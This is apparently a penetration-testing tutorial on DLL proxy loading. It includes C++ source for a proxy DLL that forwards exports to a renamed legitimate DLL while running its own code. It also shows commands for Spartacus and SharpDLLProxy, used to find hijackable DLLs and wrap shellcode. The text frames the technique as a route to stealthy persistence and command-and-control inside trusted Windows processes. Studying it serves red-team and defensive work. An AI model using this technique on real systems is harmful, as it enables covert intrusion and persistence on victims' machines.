DLL Proxy Loading is a technique which an arbitrary DLL exports the same functions as the legitimate DLL and forwards the calls to the legitimate DLL in an attempt to not disrupt the execution flow so the binary is executed as normal. The technique falls under the category of DLL Hijacking and it is typically utilized as a stealthier method to load an arbitrary DLL without breaking the original operation of a process which might be an indicator of compromise for defenders.
When a process is initiated DLL’s are also loaded and make calls to exported functions as illustrated in the diagram below:
The DLL Proxy Loading technique requires an arbitrary DLL that will be planted in the same directory and with the same name of the legitimate DLL and will proxy the same exports as the original DLL. However, the arbitrary DLL will also load the implant code and therefore code will executed under the context of a trusted process.
The following DLL code exports the following functions:
- exportedFunction1
- exportedFunction2
- exportedFunction3
#include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } extern "C" __declspec(dllexport) VOID exportedFunction1(int a) { MessageBoxA(NULL, "Pentestlab exportedFunction1", "Pentestlab exportedFunction1", 0); } extern "C" __declspec(dllexport) VOID exportedFunction2(int a) { MessageBoxA(NULL, "Pentestlab exportedFunction2", "Pentestlab exportedFunction2", 0); } extern "C" __declspec(dllexport) VOID exportedFunction3(int a) { MessageBoxA(NULL, "Pentestlab exportedFunction3", "Pentestlab exportedFunction3", 0); }
Executing the DLL will verify that the code is running as normal.
rundll32 DLL-Proxying.dll,exportedFunction1
From the offensive perspective prior to developing an arbitrary DLL, the exported functions of the legitimate DLL needs to be identified. This is feasible with the DLL export viewer.
Alternatively, Visual Studio contains a binary which can used to retrieve the exported functions.
dumpbin.exe /exports C:\temp\DLL-Proxying.dll
On the proxy DLL a comment directive in the source code will match the exported functions of the legitimate DLL.
#include "pch.h" #pragma comment(linker, "/export:exportedFunction1=trusted1.exportedFunction1") #pragma comment(linker, "/export:exportedFunction2=trusted1.exportedFunction2") #pragma comment(linker, "/export:exportedFunction3=trusted1.exportedFunction3") BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { MessageBoxA(NULL, "DLL Proxy Loading", "DLL Proxy Loading", 0); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
Similarly, using the dumpbin binary will verify the exported functions.
dumpbin.exe /exports C:\Users\panag\source\repos\Pentestlab\DLL-Proxying\x64\Release\DLL-Proxying.dll
Execution of the DLL will verify the exported functions are linked to the trusted DLL.
rundll32.exe DLL-Proxying.dll,pentestlab
Accenture has developed a tool call Spartacus which can be used to identify DLL Proxy opportunities.
Spartacus.exe --mode detect
In conjunction with Process Monitor it is also feasible to identify DLL Hijacking opportunities and export the output to a CSV file.
Spartacus.exe --mode dll --procmon Procmon64.exe --pml test.plm --csv ./output.csv --exports . --verbose
Melvin Langvik developed a tool called SharpDLLProxy which retrieves exported functions from a legitimate DLL and generates a proxy DLL template that can be used for DLL Side Loading.
SharpDLLProxy.exe --dll libnettle-8.dll --payload shellcode.bin
The tool will automatically grab the exported functions and will generate the DLL code. It should be noted that the shellcode should be dropped on disk in the form of a binary file (.bin).
Once the associated process is executed the proxy DLL will load the arbitrary code and will forward to the legitimate DLL the exported functions in order to enable the application to run as normal. It should be noted that the legitimate DLL should be renamed and the proxy DLL should contain the same name as the legitimate DLL file.
A command and control session will established every time the associated process is executed on the system. From the perspective of persistence it is essential to choose a common Windows process.
The proxy DLL will run in the memory space of the process.
References
- https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence
- https://github.com/tothi/dll-hijack-by-proxying
- https://github.com/Flangvik/SharpDllProxy
- https://www.cobaltstrike.com/blog/create-a-proxy-dll-with-artifact-kit
- https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/